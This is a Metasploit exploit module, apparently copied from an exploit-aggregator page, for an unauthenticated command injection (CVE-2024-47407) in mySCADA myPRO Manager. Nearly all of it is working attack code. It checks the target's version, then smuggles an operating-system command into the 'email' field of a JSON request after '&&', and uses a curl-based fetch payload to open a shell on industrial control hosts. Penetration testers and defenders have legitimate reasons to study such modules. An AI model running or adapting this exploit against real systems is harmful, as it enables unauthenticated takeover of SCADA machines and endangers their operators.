Share
## https://sploitus.com/exploit?id=PACKETSTORM:189175
class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
      include Msf::Exploit::Remote::HttpClient
      prepend Msf::Exploit::Remote::AutoCheck
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'mySCADA myPRO Manager Unauthenticated Command Injection (CVE-2024-47407)',
            'Description' => %q{
              Unauthenticated Command Injection in MyPRO Manager <= v1.2 from mySCADA.
              The vulnerability can be exploited by a remote attacker to inject arbitrary operating system commands which will get executed in the context of the myscada9 administrative user that is automatically added by the product.
            },
            'License' => MSF_LICENSE,
            'Author' => ['Michael Heinzl'], # Vulnerability discovery & MSF module
            'References' => [
              [ 'URL', 'https://www.cisa.gov/news-events/ics-advisories/icsa-24-326-07'],
              [ 'CVE', '2024-47407']
            ],
            'DisclosureDate' => '2024-11-21',
            'DefaultOptions' => {
              'RPORT' => 34022,
              'SSL' => 'False'
            },
            'Platform' => 'win',
            'Arch' => [ ARCH_CMD ],
            'Targets' => [
              [
                'Windows_Fetch',
                {
                  'Arch' => [ ARCH_CMD ],
                  'Platform' => 'win',
                  'DefaultOptions' => { 'FETCH_COMMAND' => 'CURL' },
                  'Type' => :win_fetch
                }
              ]
            ],
            'DefaultTarget' => 0,
    
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [IOC_IN_LOGS]
            }
          )
        )
    
        register_options(
          [
            OptString.new(
              'TARGETURI',
              [ true, 'The URI for the MyPRO Manager web interface', '/' ]
            )
          ]
        )
      end
    
      def check
        begin
          res = send_request_cgi({
            'method' => 'GET',
            'uri' => normalize_uri(target_uri.path, 'assets/index-Aup6jYxO.js')
          })
        rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
          return CheckCode::Unknown
        end
    
        if res.to_s =~ /const v="([^"]+)"/
          version = ::Regexp.last_match(1)
          vprint_status('Version retrieved: ' + version)
          if Rex::Version.new(version) <= Rex::Version.new('1.2')
            return CheckCode::Appears
          end
    
          return CheckCode::Safe
        end
        return CheckCode::Unknown
      end
    
      def exploit
        execute_command(payload.encoded)
      end
    
      def execute_command(cmd)
        exec_mypro_mgr(cmd)
        print_status('Exploit finished, check thy shell.')
      end
    
      def exec_mypro_mgr(cmd)
        post_data = {
          'command' => 'testEmail',
          'email' => "#{Rex::Text.rand_text_alphanumeric(3..12)}@#{Rex::Text.rand_text_alphanumeric(4..8)}.com&&#{cmd} #"
        }
    
        res = send_request_cgi({
          'method' => 'POST',
          'ctype' => 'application/json',
          'data' => JSON.generate(post_data),
          'uri' => normalize_uri(target_uri.path, 'get')
        })
    
        if res&.code == 200 # If the injected command executed and terminated within the timeout, a HTTP status code of 200 is returned. Depending on the payload, we might not get a response at all due to a timeout.
          print_good('Command successfully executed, check your shell.')
        else
          print_error('Unexpected or no reply received.')
        end
      end
    
    end